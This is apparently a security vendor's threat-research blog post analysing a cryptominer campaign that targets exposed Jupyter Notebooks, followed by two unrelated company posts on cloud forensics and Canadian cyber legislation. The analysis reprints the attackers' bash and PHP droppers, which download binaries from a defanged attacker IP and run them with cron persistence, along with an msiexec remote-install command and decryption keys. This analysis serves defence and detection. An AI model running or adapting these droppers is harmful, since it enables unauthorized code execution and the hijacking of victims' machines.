Blog
/
/
March 13, 2025

Exposed Jupyter Notebooks Targeted to Deliver Cryptominer

Cado Security Labs discovered a new cryptomining campaign exploiting exposed Jupyter Notebooks on Windows and Linux. The attack deploys UPX-packed binaries that decrypt and execute a cryptominer, targeting various cryptocurrencies.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Tara Gould
Threat Researcher
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
13
Mar 2025

Introduction

Researchers from Cado Security Labs (now part of Darktrace) have identified a novel cryptoming campaign exploiting Jupyter Notebooks, through Cado Labs honeypots. Jupyter Notebook [1] is an interactive notebook that contains a Python IDE and is typically used by data scientists. The campaign identified spreads through misconfigured Jupyter notebooks, targeting both Windows and Linux systems to deliver a cryptominer. 

Technical analysis

bash script
Figure 1: bash script

During a routine triage of the Jupyter honeypot, Cado Security Labs have identified an evasive cryptomining campaign attempting to exploit Jupyter notebooks. The attack began with attempting to retrieve a bash script and Microsoft Installer (MSI) file. After extracting the MSI file, the CustomAction points to an executable named “Binary.freedllBinary”. Custom Actions in MSI files are user defined actions and can be scripts or binaries. 

freedllbinary
Figure 2: "Binary.freedllBinary"
Binary File
Figure 3: File

Binary.freedllbinary

The binary that is executed from the installer file is a 64-bit Windows executable named Binary.freedllbinary. The main purpose of the binary is to load a secondary payload, “java.exe” by a CoCreateInstance Component Object Model (COM object) that is stored in c:\Programdata. Using the command /c start /min cmd /c "C:\ProgramData\java.exe || msiexec /q /i https://github[.]com/freewindsand/test/raw/refs/heads/main/a.msi, java.exe is executed, and if that fails “a.msi” is retrieved from Github; “a.msi” is the same as the originating MSI “0217.msi”. Finally, the binary deletes itself with /c ping 127.0.0.1 && del %s. “Java.exe” is a 64-bit binary pretending to be Java Platform SE 8. The binary is packed with UPX. Using ws2_32, “java.exe” retrieves “x2.dat” from either Github, launchpad, or Gitee and stores it in c:\Programdata. Gitee is the Chinese version of GitHub. “X.dat” is an encrypted blob of data, however after analyzing the binary, it can be seen that it is encrypted with ChaCha20, with the nonce aQFabieiNxCjk6ygb1X61HpjGfSKq4zH and the key AZIzJi2WxU0G. The data is then compressed with zlib. 

from Crypto.Cipher import ChaCha20 

import zlib 

key = b' ' 

nonce = b' ' 

with open(<encrytpedblob>', 'rb') as f: 

 ciphertext = f.read() 
 
cipher = ChaCha20.new(key=key, nonce=nonce) 

plaintext = cipher.decrypt(ciphertext) 

with open('decrypted_output.bin', 'wb') as f:  

 f.write(plaintext) 
 
with open('decrypted_output.bin', 'rb') as f_in: 

 compressed_data = f_in.read() 
 
decompressed_data = zlib.decompress(compressed_data) 

with open('decompressed_output', 'wb') as f_out: 

 f_out.write(decompressed_data)

After decrypting the blob with the above script there is another binary. The final binary is a cryptominer that targets:

  • Monero
  • Sumokoin
  • ArQma
  • Graft
  • Ravencoin
  • Wownero
  • Zephyr
  • Townforge
  • YadaCoin

ELF version

In the original Jupyter commands, if the attempt to retrieve and run the MSI file fails, then it attempts to retrieve “0217.js” and execute it. “0217.js” is a bash backdoor that retrieves two ELF binaries “0218.elf”, and “0218.full” from 45[.]130[.]22[.]219. The script first retrieves “0218.elf” either by curl or wget, renames it to the current time, stores it in /etc/, makes it executable via chmod and sets a cronjob to run every ten minutes.

#!/bin/bash 
u1='http://45[.]130.22.219/0218.elf'; 
name1=`date +%s%N` 
wget ${u1}?wget -O /etc/$name1 
chmod +x /etc/$name1 
echo "10 * * * * root /etc/$name1" >> /etc/cron.d/$name1 
/etc/$name1 
 
name2=`date +%s%N` 
curl ${u1}?curl -o /etc/$name2 
chmod +x /etc/$name2 
echo "20 * * * * root /etc/$name2" >> /etc/cron.d/$name2 
/etc/$name2 
 
u2='http://45[.]130.22.219/0218.full'; 
name3=`date +%s%N` 
wget ${u2}?wget -O /tmp/$name3 
chmod +x /tmp/$name3 
(crontab -l ; echo "30 * * * * /tmp/$name3") | crontab - 
/tmp/$name3 
 
name4=`date +%s%N` 
curl ${u2}?curl -o /var/tmp/$name4 
chmod +x /var/tmp/$name4 
(crontab -l ; echo "40 * * * * /var/tmp/$name4") | crontab - 
/var/tmp/$name4 
 
while true 
do 
        chmod +x /etc/$name1 
        /etc/$name1 
        sleep 60 
        chmod +x /etc/$name2 
        /etc/$name2 
        sleep 60 
        chmod +x /tmp/$name3 
        /tmp/$name3 
        sleep 60 
        chmod +x /var/tmp/$name4 
        /var/tmp/$name4 
        sleep 60 
done 

0217.js

Similarly, “0218.full” is retrieved by curl or wget, renamed to the current time, stored in /tmp/ or /var/tmp/, made executable and a cronjob is set to every 30 or 40 minutes. 

0218.elf

“0218.elf” is a 64-bit UPX packed ELF binary. The functionality of the binary is similar to “java.exe”, the Windows version. The binary retrieves encrypted data “lx.dat” from either 172[.]245[.]126[.]209, launchpad, Github, or Gitee. The lock file “cpudcmcb.lock” is searched for in various paths including /dev/, /tmp/ and /var/, presumably looking for a concurrent process. As with the Windows version, the data is encrypted with ChaCha20 (nonce: 1afXqzGbLE326CPT0EAwYFvgaTHvlhn4 and key: ZTEGIDQGJl4f) and compressed with zlib. The decrypted data is stored as “./lx.dat”. 

ChaCha routine
Figure 4: ChaCha routine
lx.dat file
Figure 5: Reading the written lx.dat file

The decrypted data from “lx.dat” is another ELF binary, and is the Linux variant of the Windows cryptominer. The cryptominer is mining for the same cryptocurrency as the Windows with the wallet ID: 44Q4cH4jHoAZgyHiYBTU9D7rLsUXvM4v6HCCH37jjTrydV82y4EvPRkjgdMQThPLJVB3ZbD9Sc1i84 Q9eHYgb9Ze7A3syWV, and pools:

  • C3.wptask.cyou
  • Sky.wptask.cyou
  • auto.skypool.xyz

The binary “0218.full” is the same as the dropped cryptominer, skipping the loader and retrieval of encrypted data. It is unknown why the threat actor would deploy two versions of the same cryptominer. 

Other campaigns

While analyzing this campaign, a parallel campaign targeting servers running PHP was found. Hosted on the 45[.]130[.]22[.]219 address is a PHP script “1.php”:

<?php 
$win=0; 
$file=""; 
$url=""; 
strtoupper(substr(PHP_OS,0,3))==='WIN'?$win=1:$win=0; 
if($win==1){ 
    $file = "C://ProgramData/php.exe"; 
    $url  = "http://45[.]130.22.219/php0218.exe"; 
}else{ 
    $file = "/tmp/php"; 
    $url  = "http://45[.]130.22.219/php0218.elf"; 
} 
    ob_start(); 
    readfile($url); 
    $content = ob_get_contents(); 
    ob_end_clean(); 
    $size = strlen($content); 
    $fp2 = @fopen($file, 'w'); 
    fwrite($fp2, $content); 
    fclose($fp2); 
    unset($content, $url); 
    if($win!=1){ 
        passthru("chmod +x ".$file); 
    } 
    passthru($file); 
?> 
Hello PHP

“1.php” is essentially a PHP version of the Bash script “0218.js”, a binary is retrieved based on whether the server is running on Windows or Linux. After analyzing the binaries, “php0218.exe” is the same as Binary.freedllbinary, and “php0218.elf” is the same as “0218.elf”. 

The exploitation of Jupyter to deploy this cryptominer hasn’t been reported before, however there have been previous campaigns with similar TTPs. In January 2024, Greynoise [2] reported on Ivanti Connect Secure being exploited to deliver a cryptominer. As with this campaign, the Ivanti campaign featured the same backdoor, with payloads hosted on Github. Additionally, AnhLabs [3] reported in June 2024 of a similar campaign targeting unpatched Korean web servers.

Figure 6: Mining pool 45[.]147[.]51[.]78

Conclusion

Exposed cloud services remain a prime target for cryptominers and other malicious actors. Attackers actively scan for misconfigured or publicly accessible instances, exploiting them to run unauthorized cryptocurrency mining operations. This can lead to degraded system performance, increased cloud costs, and potential data breaches.

To mitigate these risks, organizations should enforce strong authentication, disable public access, and regularly monitor their cloud environments for unusual activity. Implementing network restrictions, auto-shutdown policies for idle instances, and cloud provider security tools can also help reduce exposure.

Continuous vigilance, proactive security measures, and user education are crucial to staying ahead of emerging threats in the ever-changing cloud landscape.  

IOCs

hxxps://github[.]com/freewindsand

hxxps://github[.]com/freewindsand/pet/raw/refs/heads/main/lx.dat

hxxps://git[.]launchpad.net/freewindpet/plain/lx.dat

hxxps://gitee[.]com/freewindsand/pet/raw/main/lx.dat

hxxps://172[.]245[.]126.209/lx.dat

090a2f79d1153137f2716e6d9857d108 - Windows cryptominer

51a7a8fbe243114b27984319badc0dac - 0218.elf

227e2f4c3fd54abdb8f585c9cec0dcfc - ELF cryptominer

C1bb30fed4f0fb78bb3a5f240e0058df - Binary.freedllBinary

6323313fb0d6e9ed47e1504b2cb16453 - py0217.msi

3750f6317cf58bb61d4734fcaa254147 - 0218.full

1cdf044fe9e320998cf8514e7bd33044 - java.exe

141[.]11[.]89[.]42

172[.]245[.]126[.]209

45[.]130[.]22[.]219

45[.]147[.]51[.]78

Pools:

c3.wptask.cyou

sky.wptask.cyou

auto.c3pool.org

auto.skypool.xyz

MITRE ATT&CK

T1059.004  Command and Scripting Interpreter: Bash  

T1218.007  System Binary Proxy Execution: MSIExec  

T1053.003  Scheduled Task/Job: Cron  

T1190  Exploit Public-Facing Application  

T1027.002  Obfuscated Files or Information: Software Packing  

T1105  Ingress Tool Transfer  

T1496  Resource Hijacking  

T1105  Ingress Tool Transfer  

T1070.004  Indicator Removal on Host: File Deletion  

T1027  Obfuscated Files or Information  

T1559.001  Inter-Process Communication: Component Object Model  

T1027  Obfuscated Files or Information

References:

[1] https://www.cadosecurity.com/blog/qubitstrike-an-emerging-malware-campaign-targeting-jupyter-notebooks  

[2] https://www.greynoise.io/blog/ivanti-connect-secure-exploited-to-install-cryptominers  

[3] https://asec.ahnlab.com/en/74096/  

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Tara Gould
Threat Researcher

More in this series

No items found.

Blog

/

/

September 23, 2025

It’s Time to Rethink Cloud Investigations

cloud investigationsDefault blog imageDefault blog image

Cloud Breaches Are Surging

Cloud adoption has revolutionized how businesses operate, offering speed, scalability, and flexibility. But for security teams, this transformation has introduced a new set of challenges, especially when it comes to incident response (IR) and forensic investigations.

Cloud-related breaches are skyrocketing – 82% of breaches now involve cloud-stored data (IBM Cost of a Data Breach, 2023). Yet incidents often go unnoticed for days: according to a 2025 report by Cybersecurity Insiders, of the 65% of organizations experienced a cloud-related incident in the past year, only 9% detected it within the first hour, and 62% took more than 24 hours to remediate it (Cybersecurity Insiders, Cloud Security Report 2025).

Despite the shift to cloud, many investigation practices remain rooted in legacy on-prem approaches. According to a recent report, 65% of organizations spend approximately 3-5 days longer when investigating an incident in the cloud vs. on premises.

Cloud investigations must evolve, or risk falling behind attackers who are already exploiting the cloud’s speed and complexity.

4 Reasons Cloud Investigations Are Broken

The cloud’s dynamic nature – with its ephemeral workloads and distributed architecture – has outpaced traditional incident response methods. What worked in static, on-prem environments simply doesn’t translate.

Here’s why:

  1. Ephemeral workloads
    Containers and serverless functions can spin up and vanish in minutes. Attackers know this as well – they’re exploiting short-lived assets for “hit-and-run” attacks, leaving almost no forensic footprint. If you’re relying on scheduled scans or manual evidence collection, you’re already too late.
  2. Fragmented tooling
    Each cloud provider has its own logs, APIs, and investigation workflows. In addition, not all logs are enabled by default, cloud providers typically limit the scope of their logs (both in terms of what data they collect and how long they retain it), and some logs are only available through undocumented APIs. This creates siloed views of attacker activity, making it difficult to piece together a coherent timeline. Now layer in SaaS apps, Kubernetes clusters, and shadow IT — suddenly you’re stitching together 20+ tools just to find out what happened. Analysts call it the ‘swivel-chair Olympics,’ and it’s burning hours they don’t have.
  3. SOC overload
    Analysts spend the bulk of their time manually gathering evidence and correlating logs rather than responding to threats. This slows down investigations and increases burnout. SOC teams are drowning in noise; they receive thousands of alerts a day, the majority of which never get touched. False positives eat hundreds of hours a month, and consequently burnout is rife.  
  4. Cost of delay
    The longer an investigation takes, the higher its cost. Breaches contained in under 200 days save an average of over $1M compared to those that linger (IBM Cost of a Data Breach 2025).

These challenges create a dangerous gap for threat actors to exploit. By the time evidence is collected, attackers may have already accessed or exfiltrated data, or entrenched themselves deeper into your environment.

What’s Needed: A New Approach to Cloud Investigations

It’s time to ditch the manual, reactive grind and embrace investigations that are automated, proactive, and built for the world you actually defend. Here’s what the next generation of cloud forensics must deliver:

  • Automated evidence acquisition
    Capture forensic-level data the moment a threat is detected and before assets disappear.
  • Unified multi-cloud visibility
    Stitch together logs, timelines, and context across AWS, Azure, GCP, and hybrid environments into a single unified view of the investigation.
  • Accelerated investigation workflows
    Reduce time-to-insight from hours or days to minutes with automated analysis of forensic data, enabling faster containment and recovery.
  • Empowered SOC teams
    Fully contextualised data and collaboration workflows between teams in the SOC ensure seamless handover, freeing up analysts from manual collection tasks so they can focus on what matters: analysis and response.

Attackers are already leveraging the cloud’s agility. Defenders must do the same — adopting solutions that match the speed and scale of modern infrastructure.

Cloud Changed Everything. It’s Time to Change Investigations.  

The cloud fundamentally reshaped how businesses operate. It’s time for security teams to rethink how they investigate threats.

Forensics can no longer be slow, manual, and reactive. It must be instant, automated, and cloud-first — designed to meet the demands of ephemeral infrastructure and multi-cloud complexity.

The future of incident response isn’t just faster. It’s smarter, more scalable, and built for the environments we defend today, not those of ten years ago.  

On October 9th, Darktrace is revealing the next big thing in cloud security. Don’t miss it – sign up for the webinar.

darktrace live event launch
Continue reading
About the author
Kellie Regan
Director, Product Marketing - Cloud Security

Blog

/

/

September 22, 2025

Understanding the Canadian Critical Cyber Systems Protection Act

Canadian critical cyber systems protection actDefault blog imageDefault blog image

Introduction: The Canadian Critical Cyber Systems Protection Act

On 18 June 2025, the Canadian federal Government introduced Bill C-8 which, if adopted following completion of the legislative process, will enact the Critical Cyber Systems Protection Act (CCSPA) and give Canada its first federal, cross-sector and legally binding cybersecurity regime for designated critical infrastructure providers. As of August 2025, the Bill has completed first reading and stands at second reading in the Canadian House of Commons.

Political context

The measure revives most of the stalled 2022 Bill C-26 “An Act Respecting Cyber Security” which “died on Paper” when Parliament was prorogued in January 2025, in the wake of former Prime Minister Justin Trudeau’s resignation.

The new government, led by Mark Carney since March 2025, has re-tabled the package with the same two-part structure: (1) amendments to the Telecommunications Act that enable security directions to telecoms; and (2) a new CCSPA setting out mandatory cybersecurity duties for designated operators. This blog focuses on the latter.

If enacted, Canada will join fellow Five Eyes partners such as the United Kingdom and Australia, which already impose statutory cyber-security duties on operators of critical national infrastructure.

The case for new cybersecurity legislation in Canada

The Canadian cyber threat landscape has expanded. The country's national cyber authority, the Canadian Centre for Cybersecurity (Cyber Centre), recently assessed that the number of cyber incidents has “sharply increased” in the last two years, as has the severity of those incidents, with essential services providers among the targets. Likewise, in its 2025-2026 National Cyber Threat Assessment, the Cyber Centre warned that AI technologies are “amplifying cyberspace threats” by lowering barriers to entry, improving the speed and sophistication of social-engineering attacks and enabling more precise operations.

This context mirrors what we are seeing globally: adversaries, including state actors, are taking advantage of the availability and sophistication of AI tools, which they have leverage to amplify the effectiveness of their operations. In this increasingly complex landscape, regulation must keep pace and evolve in step with the risk.

What the Canadian Critical Cyber Systems Protection Act aims to achieve

  • If enacted, the CCSPA will apply to operators in federally regulated critical infrastructure sectors which are vital to national security and public safety, as further defined in “Scope” below (the “Regulated Entities”), to adopt and comply with a minimum standard of cybersecurity duties (further described below)  which align with those its Five Eyes counterparts are already adhering to.

Who does the CCSPA apply to

The CCSPA would apply to designated operators that deliver services or systems within federal jurisdiction in the following priority areas:

  • telecommunications services
  • interprovincial or international pipeline and power line systems, nuclear energy systems, transportation systems
  • banking and clearing  
  • settlement systems

The CCSPA would also grant the Governor in Council (Federal Cabinet) with powers to add or remove entities in scope via regulation.

Scope of the CCSPA

The CCSPA introduces two key instruments:

First, it strengthens cyber threat information sharing between responsible ministers, sector regulators, and the Communications Security Establishment (through the Cyber Centre).

Second, it empowers the Governor in Council (GIC) to issue Cyber Security Directions (CSDs) - binding orders requiring a designated operator to implement specified measures to protect a critical cyber system within defined timeframes.

CSDs may be tailored to an individual operator or applied to a class of operators and can address technology, process, or supplier risks. To safeguard security and commercial confidentiality, the CCSPA restricts disclosure of the existence or content of a CSD except as necessary to carry it out.

Locating decision-making with the GIC ensures that CSDs are made with a cross-government view that weighs national security, economic priorities and international agreement.

New obligations for designated providers

The CCSPA would impose key cybersecurity compliance and obligations on designated providers. As it stands, this includes:

  1. Establishing and maintaining cybersecurity programs: these will need to be comprehensive, proportionate and developed proactively. Once implemented, they will need to be continuously reviewed
  2. Mitigating supply chain risks: Regulated Entities will be required to assess their third-party products and services by conducting a supply chain analysis, and take active steps to mitigate any identified risks
  3. Reporting incidents:  Regulated Entities will need to be more transparent with their reporting, by making the Communications Security Establishment (CSE) aware of any incident which has, or could potentially have, an impact on a critical system. The reports must be made within specific timelines, but in any event within no more than 72 hours;
  4. Compliance with cybersecurity directions:  the government will, under the CCSPA, have the authority to issue cybersecurity directives in an effort to remain responsive to emerging threats, which Regulated Entities will be required to follow once issued
  5. Record keeping: this shouldn’t be a surprise to many of those Regulated Entities which fall in scope, which are already likely to be subject to record keeping requirements. Regulated Entities should expect to be maintaining records and conducting audits of their systems and processes against the requirements of the CCSPA

It should be noted, however, that this may be subject to change, so Regulated Entities should keep an eye on the progress of the Bill as it makes its way through parliament.

Enforcement of the Act would be carried out by sector-specific regulators identified in the Act such as the Office of the Superintendent of Financial Institutions, Minister of Transport, Canada Energy Regulator, Canadian Nuclear Safety Commission and the Ministry of Industry.

What are the penalties for CCSPA non-compliance?

When assessing the penalties associated with non-compliance with the requirements of the CCSPA, it is clear that such non-compliance will be taken seriously, and the severity of the penalties follows the trend of those applied by the European Union to key pieces of EU legislation. The “administrative monetary penalties” (AMPs) set by regulation could see fines being applied of up to C$1 million for individuals and up to C$15 million for organizations.

Continue reading
About the author
The Darktrace Community
Your data. Our AI.
Elevate your network security with Darktrace AI